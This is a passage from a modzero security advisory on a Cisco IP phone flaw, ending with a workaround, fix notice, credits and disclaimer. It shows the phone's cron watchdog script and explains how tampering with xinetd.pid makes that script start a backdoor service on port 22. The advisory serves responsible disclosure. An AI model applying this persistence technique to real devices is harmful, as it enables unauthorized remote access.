executes every fifth minute in the hour and after xinetd.pid was
tampered with, will ensure that xinetd starts with the backdoor
configuration.

#!/bin/sh

xinetd_pid=$( cat /var/run/xinetd.pid )
if [ -z "$xinetd_pid" -o ! -d /proc/"$xinetd_pid" ]; then
   # In dd/mm/yy/hour/min/sec format
   currtime=$(date +"%d%m%y%H%M%S")
   echo "$currtime: cannot find xinetd" >> /usr/local/backtraces/xinetd.crash
   echo "$currtime: starting xinetd" >> /usr/local/backtraces/xinetd.crash
   /etc/init.d/xinetd.sh start
fi

After waiting until the next fifth minute has passed, the backdoor
service is started and can be accessed via connecting to port 22 of
the phone.

---------------------------------------------------------------------

6. Workaround

---------------------------------------------------------------------

Disabling the web interface on the affected phone eliminates the
risk.

---------------------------------------------------------------------

7. Fix

---------------------------------------------------------------------

According to the Cisco advisories, fixes are available.

---------------------------------------------------------------------

8. Credits

---------------------------------------------------------------------

 * David Gullasch

---------------------------------------------------------------------

9. About modzero

---------------------------------------------------------------------

The independent Swiss company modzero AG assists clients with security
analysis in the complex areas of computer technology. The focus lies
on highly detailed technical analysis of concepts, software and
hardware components as well as the development of individual
solutions. Colleagues at modzero AG work exclusively in practical,
highly technical computer-security areas and can draw on decades of
experience in various platforms, system concepts, and designs.

https://www.modzero.ch

contact@modzero.ch

---------------------------------------------------------------------

10. Disclaimer

---------------------------------------------------------------------

The information in the advisory is believed to be accurate at the time
of publishing based on currently available information. Use of the
information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.